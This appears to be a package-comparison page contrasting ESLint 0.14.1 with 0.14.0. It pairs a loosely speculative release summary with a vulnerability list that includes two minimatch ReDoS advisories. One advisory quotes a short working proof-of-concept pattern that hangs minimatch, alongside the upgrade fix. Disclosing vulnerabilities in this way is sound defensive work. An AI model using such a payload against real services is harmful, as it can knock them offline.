ESLint 0.14.1 and 0.14.0 are very similar versions of the popular JavaScript linting tool, designed to identify and enforce code style and quality. Both versions share the same core functionality, utilizing an AST-based approach for pattern checking to help developers maintain consistent coding standards and prevent potential errors. The descriptions, dependencies and devDependencies are almost identical. Key dependencies like espree (JavaScript parser), escope (ECMAScript scope analyzer), and globals (standard JavaScript environment globals) remain consistent, ensuring a stable foundation for linting.
The update from 0.14.0 to 0.14.1 appears to be a minor release, likely addressing bug fixes or minor improvements without introducing significant new features. Developers transitioning between these versions shouldn't anticipate breaking changes or require extensive code modifications.
The release date difference (roughly 1 day) suggests a swift follow-up to address immediate issues. Developers may be interested in this, as is an indication that the maintainers are actively working to fix any problems or issues as they arise in the product.
Essentially, the upgrade from ESLint 0.14.0 to 0.14.1 is a low-risk proposition focusing on enhanced stability and reliability within the existing ESLint framework, making it a worthwhile update for any project already utilizing ESLint.
All the vulnerabilities related to the version 0.14.1 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.